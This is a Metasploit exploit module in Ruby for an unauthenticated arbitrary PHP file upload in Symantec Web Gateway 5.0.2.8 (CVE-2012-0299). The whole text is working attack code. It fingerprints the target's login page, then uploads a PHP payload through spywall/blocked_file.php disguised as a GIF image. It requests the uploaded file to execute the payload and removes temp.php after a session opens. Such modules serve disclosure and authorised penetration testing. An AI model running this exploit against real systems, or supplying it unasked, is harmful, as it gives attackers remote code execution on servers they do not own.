Symantec Web Gateway 5.0.2.8 – Arbitrary ‘.PHP’ File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability found in Symantec Web Gateway's HTTP service. Due to the incorrect use of file extensions in the upload_file() function, this allows us to abuse the spywall/blocked_file.php file in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tenable Network Security', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0299' ], [ 'OSVDB', '82025' ], [ 'BID', '53443' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Symantec Web Gateway 5.0.2.8', {}], ], 'Privileged' => false, 'DisclosureDate' => "May 17 2012", 'DefaultTarget' => 0)) end def check res = send_request_raw({ 'method' => 'GET', 'uri' => '/spywall/login.php' }) if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("temp.php") else client.shell_command_token("rm temp.php") end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' before_filename = rand_text_alpha(rand(10) + 5) after_filename = rand_text_alpha(rand(10) + 5) post_data = Rex::MIME::Message.new post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"") post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"") post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"") post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"") print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}spywall/blocked_file.php", 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) # If the server returns 200 and the body contains the name # of the default file, we assume we uploaded the malicious # file successfully if not res or res.code != 200 or res.body !~ /temp.php/ print_error("#{peer} - File wasn't uploaded, aborting!") return end print_status("#{peer} - Executing PHP payload (#{payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}spywall/images/upload/temp/temp.php" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returned #{res.code.to_s}") end end end |